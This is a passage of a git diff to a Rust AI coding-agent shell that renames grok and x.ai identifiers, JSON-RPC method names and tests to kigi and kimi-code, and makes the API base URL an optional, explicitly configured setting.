+++ b/crates/codegen/kigi-shell/src/agent/app.rs
@@ -83,7 +83,7 @@ const MAX_AUTO_UPDATE_BUSY_DEFERRALS: u32 = 24;
 ///
 /// Idle means BOTH `agent_busy` is false (no IPC client request in flight)
 /// AND `activity.is_busy()` is false (no running turn, parked interaction,
-/// or live subagent). The second signal covers relay-driven (grok.com
+/// or live subagent). The second signal covers relay-driven (kimi.com
 /// WebSocket) leaders, whose traffic bypasses the IPC server and never sets
 /// `agent_busy`.
 ///
@@ -217,10 +217,10 @@ fn spawn_agent_local(
 }
 
 /// Build a newline-terminated JSON-RPC request line for an internal
-/// `x.ai/...` extension method, for injection into the agent's inbound ACP
+/// `kigi/...` extension method, for injection into the agent's inbound ACP
 /// stream by the leader's own watcher tasks (config hot-reload, skills).
 ///
-/// The wire method is written **`_`-prefixed** (`_x.ai/internal/...`):
+/// The wire method is written **`_`-prefixed** (`_kigi/internal/...`):
 /// `agent-client-protocol`'s inbound decoder routes a non-built-in method to
 /// `ext_method` only when it carries the `_` extension prefix and rejects
 /// bare custom methods with `-32601 method_not_found`. These injections were
@@ -239,7 +239,7 @@ fn internal_reload_request_line(id: &str, method: &str, params: serde_json::Valu
     format!("{}\n", msg)
 }
 
-/// Start a skills file watcher and wire it to inject `x.ai/internal/reload_skills`
+/// Start a skills file watcher and wire it to inject `kigi/internal/reload_skills`
 /// messages into the shared ACP incoming stream when SKILL.md files change on disk.
 ///
 /// Returns the watcher guard (must be kept alive for the lifetime of the session)
@@ -264,7 +264,7 @@ where
             info!("Skill directory changed on disk, reloading skills for all sessions");
             let line = internal_reload_request_line(
                 "skills-reload",
-                "x.ai/internal/reload_skills",
+                "kigi/internal/reload_skills",
                 serde_json::json!({}),
             );
             let mut tx = skills_tx.lock().await;
@@ -297,7 +297,7 @@ pub async fn run_stdio_agent(
     // are identifiable by version in diagnostic logs.
     kigi_log::unified_log::set_version(kigi_version::VERSION);
 
-    // Log the client that launched us (set by grok-desktop when spawning `grok agent stdio`).
+    // Log the client that launched us (set by kigi-desktop when spawning `kigi agent stdio`).
     // This appears early in unified.jsonl and is extremely useful for auth diagnostics.
     if let Ok(version) = std::env::var("KIGI_CLIENT_VERSION") {
         crate::unified_log::info(
@@ -369,8 +369,8 @@ pub async fn run_stdio_agent(
             auth_manager.start_proactive_refresh(tokio_util::sync::CancellationToken::new());
             // Pause refreshes across system sleep so an OIDC refresh can't straddle a
             // suspend (which can revoke the refresh token and force re-login).
-            // `grok agent stdio` is a local/interactive entrypoint (spawned by
-            // grok-desktop), so it needs the gate like the leader and pager paths;
+            // `kigi agent stdio` is a local/interactive entrypoint (spawned by
+            // kigi-desktop), so it needs the gate like the leader and pager paths;
             // no-op where the OS listener is unavailable.
             auth_manager.start_system_power_listener();
 
@@ -907,7 +907,7 @@ pub async fn run_leader(
                             models_manager_for_config.on_auth_changed().await;
                             let line = internal_reload_request_line(
                                 "config-auth-reloaded",
-                                "x.ai/internal/reload_all_mcp_servers",
+                                "kigi/internal/reload_all_mcp_servers",
                                 serde_json::json!({}),
                             );
                             let mut tx = acp_tx_for_config.lock().await;
@@ -929,7 +929,7 @@ pub async fn run_leader(
                             info!("MCP server config change detected — reloading active sessions");
                             let line = internal_reload_request_line(
                                 "config-reload-mcp",
-                                "x.ai/internal/reload_all_mcp_servers",
+                                "kigi/internal/reload_all_mcp_servers",
                                 serde_json::json!({}),
                             );
                             let mut tx = acp_tx_for_config.lock().await;
@@ -952,7 +952,7 @@ pub async fn run_leader(
                             );
                             let line = internal_reload_request_line(
                                 "config-reload-project-mcp",
-                                "x.ai/internal/reload_project_mcp_servers",
+                                "kigi/internal/reload_project_mcp_servers",
                                 serde_json::json!({ "cwd": cwd.to_string_lossy() }),
                             );
                             let mut tx = acp_tx_for_config.lock().await;
@@ -967,7 +967,7 @@ pub async fn run_leader(
                             info!("Model config change detected — reloading agent model list");
                             let line = internal_reload_request_line(
                                 "config-reload-models",
-                                "x.ai/internal/reload_models",
+                                "kigi/internal/reload_models",
                                 serde_json::json!({}),
                             );
                             let mut tx = acp_tx_for_config.lock().await;
@@ -977,7 +977,7 @@ pub async fn run_leader(
                         }
                         ConfigUpdate::ModelsCacheChanged => {
                             // External write to ~/.kigi/models_cache.json
-                            // (another grok process fetched a fresher /v1/models
+                            // (another kigi process fetched a fresher /v1/models
                             // catalog). Injected into the agent's ACP stream —
                             // NOT applied directly on the manager — so it is
                             // serialized behind any `reload_models` from the
@@ -993,7 +993,7 @@ pub async fn run_leader(
                             info!("Models cache change detected — reloading agent model catalog");
                             let line = internal_reload_request_line(
                                 "config-reload-models-cache",
-                                "x.ai/internal/reload_models_cache",
+                                "kigi/internal/reload_models_cache",
                                 serde_json::json!({}),
                             );
                             let mut tx = acp_tx_for_config.lock().await;
@@ -1030,7 +1030,7 @@ pub async fn run_leader(
                             info!("UI config change detected by watcher");
                             let notification = serde_json::json!({
                                 "jsonrpc": "2.0",
-                                "method": "x.ai/config_changed",
+                                "method": "kigi/config_changed",
                                 "params": {
                                     "section": "ui",
                                     "changes": {
@@ -1114,13 +1114,13 @@ mod tests {
     fn internal_reload_request_line_uses_wire_ext_prefix() {
         let line = internal_reload_request_line(
             "config-reload-models",
-            "x.ai/internal/reload_models",
+            "kigi/internal/reload_models",
             serde_json::json!({}),
         );
         assert!(line.ends_with('\n'), "must be a newline-terminated line");
         let msg: serde_json::Value = serde_json::from_str(line.trim_end()).unwrap();
         assert_eq!(
-            msg["method"], "_x.ai/internal/reload_models",
+            msg["method"], "_kigi/internal/reload_models",
             "wire method must carry the `_` ext prefix or the ACP decoder \
              rejects it with method_not_found"
         );
@@ -1130,7 +1130,7 @@ mod tests {
         // Params must pass through verbatim (project-MCP reload carries cwd).
         let line = internal_reload_request_line(
             "config-reload-project-mcp",
-            "x.ai/internal/reload_project_mcp_servers",
+            "kigi/internal/reload_project_mcp_servers",
             serde_json::json!({ "cwd": "/repo/x" }),
         );
         let msg: serde_json::Value = serde_json::from_str(line.trim_end()).unwrap();
diff --git a/crates/codegen/kigi-shell/src/agent/auth_method.rs b/crates/codegen/kigi-shell/src/agent/auth_method.rs
index a09d4d3..f6d4997 100644
--- a/crates/codegen/kigi-shell/src/agent/auth_method.rs
+++ b/crates/codegen/kigi-shell/src/agent/auth_method.rs
@@ -101,7 +101,7 @@ pub struct BuiltAuthMethods {
 /// Ordering (when each method is enabled):
 /// 1. `xai.api_key`     (if `has_external_api_key`)
 /// 2. `cached_token`    (if `has_cached_token`)
-/// 3. `grok.com`        (the Kimi Code device login)
+/// 3. `kimi-code`        (the Kimi Code device login)
 ///
 /// `default_auth_method_id`:
 /// - `cached_token` if `has_cached_token`
@@ -153,7 +153,7 @@ pub fn build_auth_methods(inputs: AuthMethodsBuildInputs<'_>) -> BuiltAuthMethod
 pub enum AuthMethodKind {
     XaiApiKey,
     CachedToken,
-    GrokCom,
+    KimiCode,
     Unknown,
 }
 
@@ -162,7 +162,7 @@ impl AuthMethodKind {
         match id.0.as_ref() {
             XAI_API_KEY_METHOD_ID => Self::XaiApiKey,
             CACHED_TOKEN_AUTH_METHOD_ID => Self::CachedToken,
-            KIGI_COM_METHOD_ID => Self::GrokCom,
+            KIMI_CODE_METHOD_ID => Self::KimiCode,
             _ => Self::Unknown,
         }
     }
@@ -174,12 +174,12 @@ impl AuthMethodKind {
 
     /// `true` for session-based methods (cached_token, interactive login).
     pub fn is_session_based(self) -> bool {
-        matches!(self, Self::CachedToken | Self::GrokCom)
+        matches!(self, Self::CachedToken | Self::KimiCode)
     }
 
     /// Requires user interaction (device-code login in the browser).
     pub fn needs_interactive_login(self) -> bool {
-        matches!(self, Self::GrokCom)
+        matches!(self, Self::KimiCode)
     }
 
     pub fn auth_error_message(self) -> &'static str {
@@ -259,7 +259,7 @@ pub fn method_id_after_cached_token_unavailable(has_external_api_key: bool) -> &
     if has_external_api_key {
         XAI_API_KEY_METHOD_ID
     } else {
-        KIGI_COM_METHOD_ID
+        KIMI_CODE_METHOD_ID
     }
 }
 
@@ -287,17 +287,20 @@ pub fn cached_token_auth_method() -> acp::AuthMethod {
     )
 }
 
-/// Interactive login method id. The literal `"grok.com"` is kept for ACP
-/// wire-compat with the in-repo pager (renaming is a cross-crate wire change
-/// deferred to the command-surface milestone).
-pub const KIGI_COM_METHOD_ID: &str = "grok.com";
+/// Interactive login method id, advertised over ACP by this agent and
+/// selected by the in-repo pager. Both sides of the ACP boundary live in
+/// this repo, so the id is renamed in lockstep everywhere.
+pub const KIMI_CODE_METHOD_ID: &str = "kimi-code";
 
 /// The Kimi Code device-code login.
 pub fn kimi_code_auth_method(label: Option<&str>) -> acp::AuthMethod {
     let name = label.unwrap_or("Kimi Code");
     acp::AuthMethod::Agent(
-        acp::AuthMethodAgent::new(acp::AuthMethodId::new(KIGI_COM_METHOD_ID), name.to_string())
-            .description(Some(format!("Sign in with {name}"))),
+        acp::AuthMethodAgent::new(
+            acp::AuthMethodId::new(KIMI_CODE_METHOD_ID),
+            name.to_string(),
+        )
+        .description(Some(format!("Sign in with {name}"))),
     )
 }
 
@@ -323,14 +326,14 @@ mod tests {
     fn after_cached_token_unavailable_falls_to_interactive_login() {
         assert_eq!(
             method_id_after_cached_token_unavailable(false),
-            KIGI_COM_METHOD_ID,
+            KIMI_CODE_METHOD_ID,
         );
     }
 
     /// Classifier matrix for all auth method variants.
     #[test]
     fn auth_method_kind_classifier_matrix() {
-        let session_methods = [CACHED_TOKEN_AUTH_METHOD_ID, KIGI_COM_METHOD_ID];
+        let session_methods = [CACHED_TOKEN_AUTH_METHOD_ID, KIMI_CODE_METHOD_ID];
         for id in session_methods {
             let kind = AuthMethodKind::from_id(&acp::AuthMethodId::new(id));
             assert!(kind.is_session_based(), "{id} must be session-based");
@@ -345,7 +348,7 @@ mod tests {
         assert!(!unknown.is_session_based());
         // Only the interactive login needs a browser.
         assert!(
-            AuthMethodKind::from_id(&acp::AuthMethodId::new(KIGI_COM_METHOD_ID))
+            AuthMethodKind::from_id(&acp::AuthMethodId::new(KIMI_CODE_METHOD_ID))
                 .needs_interactive_login()
         );
         assert!(
@@ -428,7 +431,7 @@ mod tests {
         });
         assert_eq!(
             method_ids(&built),
-            vec![XAI_API_KEY_METHOD_ID, KIGI_COM_METHOD_ID]
+            vec![XAI_API_KEY_METHOD_ID, KIMI_CODE_METHOD_ID]
         );
         assert_eq!(default_id(&built), Some(XAI_API_KEY_METHOD_ID));
         assert!(
@@ -451,7 +454,7 @@ mod tests {
             vec![
                 XAI_API_KEY_METHOD_ID,
                 CACHED_TOKEN_AUTH_METHOD_ID,
-                KIGI_COM_METHOD_ID
+                KIMI_CODE_METHOD_ID
             ]
         );
         assert_eq!(default_id(&built), Some(CACHED_TOKEN_AUTH_METHOD_ID));
@@ -466,7 +469,7 @@ mod tests {
         });
         assert_eq!(
             method_ids(&built),
-            vec![CACHED_TOKEN_AUTH_METHOD_ID, KIGI_COM_METHOD_ID]
+            vec![CACHED_TOKEN_AUTH_METHOD_ID, KIMI_CODE_METHOD_ID]
         );
         assert_eq!(default_id(&built), Some(CACHED_TOKEN_AUTH_METHOD_ID));
         assert_eq!(
@@ -480,7 +483,7 @@ mod tests {
     #[test]
     fn fresh_user_only_advertises_interactive_login() {
         let built = build_auth_methods(default_inputs());
-        assert_eq!(method_ids(&built), vec![KIGI_COM_METHOD_ID]);
+        assert_eq!(method_ids(&built), vec![KIMI_CODE_METHOD_ID]);
         assert_eq!(default_id(&built), None);
     }
 
diff --git a/crates/codegen/kigi-shell/src/agent/chat_modes.rs b/crates/codegen/kigi-shell/src/agent/chat_modes.rs
index b4c3df9..2d86378 100644
--- a/crates/codegen/kigi-shell/src/agent/chat_modes.rs
+++ b/crates/codegen/kigi-shell/src/agent/chat_modes.rs
@@ -1,7 +1,7 @@
 //! Legacy `--chat` gateway gate.
 //!
-//! The grok.com chat-product model picker (`/rest/modes`, `ChatModesManager`)
-//! was removed with the xAI proxy: those "modes" came from a grok backend with
+//! The kimi.com chat-product model picker (`/rest/modes`, `ChatModesManager`)
+//! was removed with the xAI proxy: those "modes" came from a kigi backend with
 //! no Kimi counterpart. Only the process-mode gate survives so the `--chat`
 //! frontend path stays a compile-time-off no-op across crates without a
 //! cross-crate churn to delete every reference.
@@ -10,7 +10,7 @@
 pub const KIGI_CHAT_MODE_ENV: &str = "KIGI_CHAT_MODE";
 
 /// True when the process is a gateway light-frontend (`--chat`) agent.
-/// Hard-off: the grok chat-modes backend is gone, so this is always `false`.
+/// Hard-off: the kigi chat-modes backend is gone, so this is always `false`.
 pub fn process_chat_mode_enabled() -> bool {
     false
 }
diff --git a/crates/codegen/kigi-shell/src/agent/config.rs b/crates/codegen/kigi-shell/src/agent/config.rs
index e173ec0..1056039 100644
--- a/crates/codegen/kigi-shell/src/agent/config.rs
+++ b/crates/codegen/kigi-shell/src/agent/config.rs
@@ -37,13 +37,11 @@ pub enum AgentMode {
     Generic,
 }
 /// Default agent type when the server or user config doesn't specify one.
-pub const DEFAULT_AGENT_TYPE: &str = "grok-build-plan";
+pub const DEFAULT_AGENT_TYPE: &str = "kigi-plan";
 /// Serde default for `ModelInfo.agent_type` and `ModelEntryConfig.agent_type`.
 pub fn default_agent_type() -> String {
     DEFAULT_AGENT_TYPE.to_owned()
 }
-/// Default base URL for the public xAI API.
-pub const API_BASE_URL_DEFAULT: &str = "https://api.x.ai/v1";
 /// One or more environment variable names that may hold a model API key.
 ///
 /// Serde `untagged`: accepts a string or an array in TOML/JSON.
@@ -143,9 +141,14 @@ pub struct EndpointsConfig {
     #[serde(skip_serializing_if = "Option::is_none")]
     pub coding_api_base_url: Option<String>,
     /// Base URL for direct (BYOK / external-API-key) API calls.
+    ///
+    /// There is NO built-in default endpoint: a BYOK/custom endpoint must be
+    /// explicitly configured via `[endpoints] api_base_url` in config.toml,
+    /// the `KIGI_API_BASE_URL` env var, `--api-base-url`, or a managed
+    /// requirements pin. `None` = not configured.
     /// Accepts the legacy `xai_api_base_url` config key.
-    #[serde(alias = "xai_api_base_url")]
-    pub api_base_url: String,
+    #[serde(alias = "xai_api_base_url", skip_serializing_if = "Option::is_none")]
+    pub api_base_url: Option<String>,
     /// Optional extra access-header value (applied only with the optional
     /// non-production feature, and only for matching first-party hosts).
     #[serde(skip_serializing_if = "Option::is_none")]
@@ -225,7 +228,7 @@ impl EndpointsConfig {
     pub fn resolve_feedback_base_url(&self) -> String {
         blank_as_unset(&self.feedback_base_url).unwrap_or_else(|| self.proxy_url())
     }
-    /// Managed deployment-config URL (`grok setup`): explicit `managed_config_url`,
+    /// Managed deployment-config URL (`kigi setup`): explicit `managed_config_url`,
     /// else `proxy_url` + `/deployment/config`. Never `api_base_url`, so the
     /// deployment key reaches the proxy, not the inference host.
     pub fn resolve_managed_config_url(&self) -> String {
@@ -252,8 +255,7 @@ impl Default for EndpointsConfig {
     fn default() -> Self {
         Self {
             coding_api_base_url: std::env::var("KIGI_CODE_BASE_URL").ok(),
-            api_base_url: std::env::var("KIGI_API_BASE_URL")
-                .unwrap_or_else(|_| API_BASE_URL_DEFAULT.to_owned()),
+            api_base_url: env_string("KIGI_API_BASE_URL"),
             alpha_test_key: None,
             models_base_url: env_string("KIGI_MODELS_BASE_URL"),
             models_list_url: env_string("KIGI_MODELS_LIST_URL"),
@@ -1000,7 +1002,7 @@ pub struct Config {
     /// `[model.*]` overrides from config.toml. Resolve via `resolve_model_list()`.
     #[serde(skip)]
     pub config_models: IndexMap<String, ConfigModelOverride>,
-    /// Warnings from `[model.*]` parsing; surfaced by `grok inspect`.
+    /// Warnings from `[model.*]` parsing; surfaced by `kigi inspect`.
     #[serde(skip)]
     pub model_override_warnings: Vec<super::config_model_override_parse::ModelOverrideWarning>,
     pub kimi_code_config: KimiCodeConfig,
@@ -1076,7 +1078,7 @@ pub struct Config {
     /// Typed as `KimiCodeConfig` (same schema) so sub-field typos are caught.
     #[serde(default, skip_serializing)]
     pub auth: Option<KimiCodeConfig>,
-    /// `[desktop]` section — owned by grok-desktop (Electron app), opaque to the CLI agent.
+    /// `[desktop]` section — owned by kigi-desktop (Electron app), opaque to the CLI agent.
     #[serde(default, skip_serializing)]
     pub desktop: Option<toml::Value>,
     /// `[tips]` section — consumed by `merge_tips`.
@@ -1311,13 +1313,13 @@ pub use kigi_shared::ui_config::{ContextualHints, UiConfig};
 /// 2. CLI `--agent-profile` flag
 /// 3. `[agent]` config.toml section (this config)
 /// 4. `KIGI_AGENT` env var
-/// 5. Default `grok-build` agent
+/// 5. Default `kigi` agent
 #[derive(Debug, Clone, Default, Serialize, Deserialize)]
 #[serde(default)]
 pub struct AgentSelectionConfig {
     /// Name of a built-in or discovered agent definition.
     /// Looked up via `kigi_agent::discovery::by_name_in_cwd()`.
-    /// Examples: "grok-build", "browser-use", or a custom agent name.
+    /// Examples: "kigi", "browser-use", or a custom agent name.
     #[serde(skip_serializing_if = "Option::is_none")]
     pub name: Option<String>,
     /// Path to an agent definition file (.md with YAML frontmatter).
@@ -1718,7 +1720,7 @@ impl Config {
             .default(false)
             .resolve()
     }
-    /// Server-side doom-loop check policy (the `x-grok-doom-loop-check`
+    /// Server-side doom-loop check policy (the `x-kigi-doom-loop-check`
     /// header, trigger parsing, and confident-signal resampling, all
     /// applied by the sampler). Merged
     /// PER-FIELD across the `[doom_loop_recovery]` TOML table and the
@@ -2146,7 +2148,7 @@ impl Config {
         resolve_mcp_auto_restart(None, None, self.features.mcp_auto_restart, None, None)
     }
     /// Resolve whether the pager subscribes to the per-server
-    /// `x.ai/mcp/server_status` push.
+    /// `kigi/mcp/server_status` push.
     ///
     /// Thin delegate to the canonical
     /// [`resolve_mcp_push_server_status`] free function — mirrors the
@@ -2251,7 +2253,7 @@ pub fn resolve_mcp_auto_restart(
 /// the precedence is single-sourced.
 ///
 /// The default is `true` — the pager's subscription to
-/// `x.ai/mcp/server_status` is wired default-on, with this
+/// `kigi/mcp/server_status` is wired default-on, with this
 /// flag existing primarily as a kill switch.
 pub fn resolve_mcp_push_server_status(
     requirement: Option<bool>,
@@ -2347,7 +2349,7 @@ impl SyncBoolFlag {
         self.disable_env = Some(name);
         self
     }
-    /// Either-direction env resolver (typically `GROK_*`). Returns
+    /// Either-direction env resolver (typically `KIGI_*`). Returns
     /// `Some(enabled)` for an explicit signal, `None` to fall through.
     pub const fn enable_env(mut self, resolver: fn() -> Option<bool>) -> Self {
         self.enable_env = Some(resolver);
@@ -2830,7 +2832,7 @@ pub struct ModelEntryConfig {
     pub id: Option<String>,
     /// The routing slug sent in API requests.
     pub model: String,
-    /// The base URL of the model. e.g. "https://api.x.ai/v1"
+    /// The base URL of the model. e.g. "https://byok.example/v1"
     pub base_url: String,
     /// Human-readable display name of the model.
     #[serde(skip_serializing_if = "Option::is_none")]
@@ -2899,7 +2901,7 @@ pub struct ModelEntryConfig {
     #[serde(default, skip_serializing_if = "is_false")]
     pub use_concise: bool,
     /// The type of system prompt to use for this model.
-    /// e.g. "grok-build", "codex".
+    /// e.g. "kigi", "codex".
     #[serde(default = "default_agent_type")]
     pub agent_type: String,
     /// Maximum seconds to wait between SSE chunks during inference streaming.
@@ -3143,7 +3145,7 @@ pub struct ModelInfo {
     /// concise tool output, concise user message prefix, reduced toolset).
     pub use_concise: bool,
     /// The type of agent configuration to use for this model.
-    /// Always has a value; defaults to `"grok-build-plan"` when the server
+    /// Always has a value; defaults to `"kigi-plan"` when the server
     /// or user config doesn't specify one.
     #[serde(default = "default_agent_type")]
     pub agent_type: String,
@@ -3523,9 +3525,9 @@ pub struct Features {
     /// Default: true (index any git repo). Patterns can explicitly match non-git directories.
     #[serde(default)]
     pub codebase_indexing: CodebaseIndexingSetting,
-    /// Show a blocking warning when Grok starts outside a Git repository.
+    /// Show a blocking warning when Kigi starts outside a Git repository.
     /// Default: false. Used as the local fallback when the `non_git_warning` remote settings
-    /// flag in `grok_build_settings` is absent. When the remote flag is present it takes
+    /// flag in `kigi_settings` is absent. When the remote flag is present it takes
     /// precedence — `Some(false)` from remote settings overrides `true` here.
     #[serde(default)]
     pub non_git_warning: bool,
@@ -3600,7 +3602,7 @@ pub struct Features {
     ///
     /// When `true` (default), each successfully-handshaken MCP
     /// client gets a poller that detects rmcp service-loop
-    /// termination and pushes `x.ai/mcp/server_status` updates to
+    /// termination and pushes `kigi/mcp/server_status` updates to
     /// the client. When `false`, neither watchers nor the
     /// dispatcher are spawned — useful as an emergency kill switch
     /// for the rollout. `None` = defer to env / default (true).
@@ -3622,13 +3624,13 @@ pub struct Features {
     /// Resolved via [`Config::resolve_mcp_auto_restart`].
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub mcp_auto_restart: Option<bool>,
-    /// Pager-side subscription to the `x.ai/mcp/server_status` push.
+    /// Pager-side subscription to the `kigi/mcp/server_status` push.
     ///
     /// When `true` (default), the pager subscribes to the per-server
     /// status delta the shell emits via the dispatcher and
     /// patches the MCP servers modal in-place (no re-fetch round
     /// trip). When `false`, the pager ignores the push and falls
-    /// back to the legacy `x.ai/mcp/tools_changed` debounced refetch
+    /// back to the legacy `kigi/mcp/tools_changed` debounced refetch
     /// path. `None` = defer to env / default (true).
     ///
     /// The pager-side gate
@@ -4169,7 +4171,7 @@ mod tests {
             tools: Some(vec!["read_file".into()]),
             ..Default::default()
         };
-        let mut cases = vec![(AgentDefinition::default_grok_build(), true)];
+        let mut cases = vec![(AgentDefinition::default_kigi(), true)];
         for (mut definition, expected_injection) in cases {
             overrides.apply_to_definition(&mut definition);
             assert_eq!(definition.tools, vec!["read_file".to_string()]);
@@ -4185,13 +4187,13 @@ mod tests {
         let toml_src = r#"
 enabled = true
 prompt_type = "no_user_tool_prefix"
-classifier_model = "grok-4.5"
+classifier_model = "kigi-4.5"
 reasoning_effort = "low"
 "#;
         let from_toml: AutoModeConfig = toml::from_str(toml_src).unwrap();
         let json = serde_json::json!(
             { "enabled" : true, "prompt_type" : "no_user_tool_prefix", "classifier_model"
-            : "grok-4.5", "reasoning_effort" : "low" }
+            : "kigi-4.5", "reasoning_effort" : "low" }
         );
         let from_json: AutoModeConfig = serde_json::from_value(json).unwrap();
         for cfg in [&from_toml, &from_json] {
@@ -4200,7 +4202,7 @@ reasoning_effort = "low"
                 cfg.prompt_type,
                 Some(ClassifierPromptType::NoUserToolPrefix)
             );
-            assert_eq!(cfg.classifier_model.as_deref(), Some("grok-4.5"));
+            assert_eq!(cfg.classifier_model.as_deref(), Some("kigi-4.5"));
             assert_eq!(cfg.reasoning_effort, Some(ReasoningEffort::Low));
         }
         let empty: AutoModeConfig = toml::from_str("").unwrap();
@@ -4450,7 +4452,7 @@ reasoning_effort = "low"
         let (model, cfg) = finalize_image_describe_sampler_config(None, &active, Some(3));
         assert_eq!(model, "composer-session-model");
         assert_eq!(cfg.model, "composer-session-model");
-        assert_ne!(cfg.model, "grok-build");
+        assert_ne!(cfg.model, "kigi");
     }
     #[test]
     fn finalize_image_describe_sampler_some_stamps_session_fields() {
@@ -4459,20 +4461,20 @@ reasoning_effort = "low"
             ..Default::default()
         };
         let aux = SamplerConfig {
-            model: "grok-build".into(),
+            model: "kigi".into(),
             ..Default::default()
         };
         let (model, cfg) = finalize_image_describe_sampler_config(Some(aux), &active, Some(7));
-        assert_eq!(model, "grok-build");
-        assert_eq!(cfg.model, "grok-build");
+        assert_eq!(model, "kigi");
+        assert_eq!(cfg.model, "kigi");
         assert_eq!(cfg.max_retries, Some(7));
     }
     #[test]
-    fn resolve_aux_model_honors_grok_build_override() {
+    fn resolve_aux_model_honors_kigi_override() {
         let endpoints = EndpointsConfig::default();
         let mut catalog = IndexMap::new();
         catalog.insert(
-            "grok-build".to_string(),
+            "kigi".to_string(),
             test_model_entry(
                 "v9m-rl-learnability-tp8",
                 "https://vendor.example/v1",
@@ -4481,9 +4483,8 @@ reasoning_effort = "low"
                 None,
             ),
         );
-        let resolved =
-            resolve_aux_model_sampling_config("grok-build", &catalog, &endpoints, None, None)
-                .expect("override entry has an API key, so resolution succeeds");
+        let resolved = resolve_aux_model_sampling_config("kigi", &catalog, &endpoints, None, None)
+            .expect("override entry has an API key, so resolution succeeds");
         assert_eq!(resolved.model, "v9m-rl-learnability-tp8");
         assert_eq!(resolved.base_url, "https://vendor.example/v1");
         assert_eq!(resolved.api_key.as_deref(), Some("vendor-key"));
@@ -4493,7 +4494,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-custom-model]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://api.example.com/v1"
             context_window = 200000
             api_key = "sk-test-key-12345"
@@ -4503,7 +4504,7 @@ reasoning_effort = "low"
         let cfg = Config::new_from_toml_cfg(&raw_config).expect("config should parse");
         let resolved = resolve_model_list(&cfg, None);
         let model = resolved.get("my-custom-model").expect("model should exist");
-        assert_eq!(model.info.model, "grok-4.5");
+        assert_eq!(model.info.model, "kigi-4.5");
         assert_eq!(model.info.base_url, "https://api.example.com/v1");
         assert_eq!(model.api_key, Some("sk-test-key-12345".to_string()));
     }
@@ -4633,8 +4634,9 @@ reasoning_effort = "low"
                 auth_scheme: AuthScheme::Bearer,
             };
             assert_eq!(
-                api_key_creds.base_url, endpoints.api_base_url,
-                "{model_id}: ExternalApiKey must route to api.x.ai"
+                Some(api_key_creds.base_url.as_str()),
+                endpoints.api_base_url.as_deref(),
+                "{model_id}: ExternalApiKey must route to the configured BYOK endpoint"
             );
         }
     }
@@ -4874,7 +4876,7 @@ reasoning_effort = "low"
     #[test]
     fn proxy_messages_models_use_bearer_auth_scheme() {
         let mut model = test_model_entry(
-            "grok-4.5",
+            "kigi-4.5",
             kigi_env::PRODUCTION_ENDPOINTS.coding_api_base_url,
             None,
             None,
@@ -4937,7 +4939,7 @@ reasoning_effort = "low"
     #[test]
     fn auth_scheme_defaults_to_bearer_when_not_set_in_config() {
         let model = test_model_entry(
-            "grok-4.5",
+            "kigi-4.5",
             "https://api.example.com/v1",
             Some("sk-openai-test"),
             None,
@@ -4994,7 +4996,7 @@ reasoning_effort = "low"
             byok_from_lookup(&ModelLookup::Loaded(Some(&byok))),
             ModelByok::Byok,
         );
-        let session = test_model_entry("m", "https://api.x.ai/v1", None, None, None);
+        let session = test_model_entry("m", "https://byok.example/v1", None, None, None);
         assert_eq!(
             byok_from_lookup(&ModelLookup::Loaded(Some(&session))),
             ModelByok::NotByok,
@@ -5257,10 +5259,10 @@ reasoning_effort = "low"
     }
     #[test]
     fn sampling_config_context_window_from_entry_or_default() {
-        let model = test_model_entry("any-model", "https://api.x.ai/v1", None, None, None);
+        let model = test_model_entry("any-model", "https://byok.example/v1", None, None, None);
         let config = sampling_config_for_model(&model, resolve_credentials(&model, None), None);
         assert_eq!(config.context_window, 200_000);
-        let mut model = test_model_entry("any-model", "https://api.x.ai/v1", None, None, None);
+        let mut model = test_model_entry("any-model", "https://byok.example/v1", None, None, None);
         model.info.context_window = NonZeroU64::new(256_000).unwrap();
         let config = sampling_config_for_model(&model, resolve_credentials(&model, None), None);
         assert_eq!(config.context_window, 256_000);
@@ -5270,7 +5272,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-responses-model]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://api.example.com/v1"
             context_window = 200000
             api_backend = "responses"
@@ -5289,7 +5291,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-chat-model]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://api.example.com/v1"
             context_window = 200000
             api_backend = "chat_completions"
@@ -5309,7 +5311,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-claude]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://messages.example.com"
             context_window = 200000
             api_backend = "messages"
@@ -5331,7 +5333,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-claude]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://messages.example.com"
             context_window = 200000
             api_backend = "messages"
@@ -5354,7 +5356,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-openai]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://api.example.com/v1"
             context_window = 200000
             api_backend = "chat_completions"
@@ -5374,7 +5376,7 @@ reasoning_effort = "low"
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-model]
-            model = "grok-4.5"
+            model = "kigi-4.5"
             base_url = "https://api.example.com/v1"
             context_window = 200000
             "#,
@@ -5574,7 +5576,7 @@ reasoning_effort = "low"
         assert_eq!(model.info.agent_type, "codex");
     }
     #[test]
-    fn model_agent_type_defaults_to_grok_build() {
+    fn model_agent_type_defaults_to_kigi() {
         let raw_config: toml::Value = toml::from_str(
             r#"
             [model.my-model]
@@ -5834,12 +5836,12 @@ reasoning_effort = "low"
             r#"
             [model.visible-model]
             model = "visible-model"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
 
             [model.hidden-model]
             model = "hidden-model"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             hidden = true
             "#,
@@ -5874,7 +5876,7 @@ reasoning_effort = "low"
             disabled_models = ["to-disable"]
             [model.to-disable]
             model = "to-disable"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             "#,
         )
@@ -5891,7 +5893,7 @@ reasoning_effort = "low"
             hidden_models = ["to-hide"]
             [model.to-hide]
             model = "to-hide"
-            base_url = "https://api.x.ai/v1"
+            base_url = "https://byok.example/v1"
             context_window = 200000
             "#,
         )
